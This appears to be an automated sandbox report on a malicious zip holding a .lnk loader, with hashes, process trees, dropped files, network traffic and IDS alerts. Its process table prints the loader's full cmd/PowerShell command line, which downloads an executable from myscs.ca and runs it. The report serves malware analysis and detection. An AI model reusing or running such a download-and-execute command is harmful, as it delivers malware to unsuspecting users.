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| download: | uc |
| Full analysis: | https://app.any.run/tasks/11a4cae1-aa30-45a2-a38a-af1cc4fad640 |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | May 15, 2019, 16:23:31 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/zip |
| File info: | Zip archive data, at least v2.0 to extract |
| MD5: | ECF0F7DA4EB61CEB12B54BA5E41E9AA7 |
| SHA1: | B98F98FACE1D130437FFD02AEFFC0940DBC90FE1 |
| SHA256: | 14877AA9F5221E61F68C58C1556FBBB40CD58CAC313F3F93B00EFB808D32AD35 |
| SSDEEP: | 3072:8jVXSGZMR6hnUcXpQRAIA0Wbyira1fl3VIAEvtN0uaRCdN5arcHwh8:8jVCGZq6qcZQmIrWbNe11Cd/vaRCd/SA |
MALICIOUS
Downloads executable files from the Internet
- powershell.exe (PID: 3824)
Executes PowerShell scripts
- cmd.exe (PID: 2476)
SUSPICIOUS
Starts CMD.EXE for commands execution
- WinRAR.exe (PID: 3336)
Executable content was dropped or overwritten
- powershell.exe (PID: 3824)
Creates files in the user directory
- powershell.exe (PID: 3824)
INFO
No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .zip | | | ZIP compressed archive (100) |
|---|
EXIF
ZIP
| ZipFileName: | 43843_8439_8329052.lnk |
|---|---|
| ZipUncompressedSize: | 140505 |
| ZipCompressedSize: | 139110 |
| ZipCRC: | 0x28c27490 |
| ZipModifyDate: | 2019:05:15 16:46:02 |
| ZipCompression: | Deflated |
| ZipBitFlag: | - |
| ZipRequiredVersion: | 20 |
Total processes
36
Monitored processes
4
Malicious processes
2
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 3336 | "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\uc.zip" | C:\Program Files\WinRAR\WinRAR.exe | — | explorer.exe |
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Version: 5.60.0 | ||||
| 2476 | "C:\Windows\System32\cmd.exe" /R set U=http:/&powershell "$J=new-object system.net.webclient;$J.downloadfile($env:U+'/myscs.ca/valued_sp3_update.exe',$env:tmp+'\Up.exe');"&"C:\Program Files\windows nt\accessories\wordpad" c:\pagefile.sys&C:\Users\admin\AppData\Local\Temp/Up&g3Jerl:+hqw^-BdjJd&cjM34{_________ | C:\Windows\System32\cmd.exe | — | WinRAR.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
| 3824 | powershell "$J=new-object system.net.webclient;$J.downloadfile($env:U+'/myscs.ca/valued_sp3_update.exe',$env:tmp+'\Up.exe');" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 3380 | "C:\Program Files\windows nt\accessories\wordpad" c:\pagefile.sys | C:\Program Files\windows nt\accessories\wordpad.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Wordpad Application Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
Total events
667
Read events
585
Write events
0
Delete events
0
Modification events
Executable files
1
Suspicious files
2
Text files
0
Unknown types
1
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3824 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\S15D7Z25CXGIL7PNGLQ0.temp | — | |
MD5:— | SHA256:— | |||
| 3824 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF1235fc.TMP | binary | |
MD5:131DC75F6D4142CA9244945A91A71E8D | SHA256:F17C463C77B5DA9E795770A82E0A7FB1023023F44397F6E080721E9811B2A0C4 | |||
| 3824 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:131DC75F6D4142CA9244945A91A71E8D | SHA256:F17C463C77B5DA9E795770A82E0A7FB1023023F44397F6E080721E9811B2A0C4 | |||
| 3336 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DIa3336.45581\43843_8439_8329052.lnk | lnk | |
MD5:7091F5FC35DB3730F0482007725E73CC | SHA256:2BA1E0E7470E843B7AAECBF47A3C9329DC53FAFB92D2258625441A24A952A8CD | |||
| 3824 | powershell.exe | C:\Users\admin\AppData\Local\Temp\Up.exe | executable | |
MD5:64DF6FE611B3753E0C6B2069488FACB7 | SHA256:826E519579C74530B7A6D1A03C58EA5B01BCA3943D405AA9CBF5CDA2E4DC00FE | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
1
DNS requests
1
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
3824 | powershell.exe | GET | 200 | 69.90.160.255:80 | http://myscs.ca/valued_sp3_update.exe | CA | executable | 684 Kb | suspicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
3824 | powershell.exe | 69.90.160.255:80 | myscs.ca | Peer 1 Network (USA) Inc. | CA | suspicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
myscs.ca |
| suspicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
3824 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
3824 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |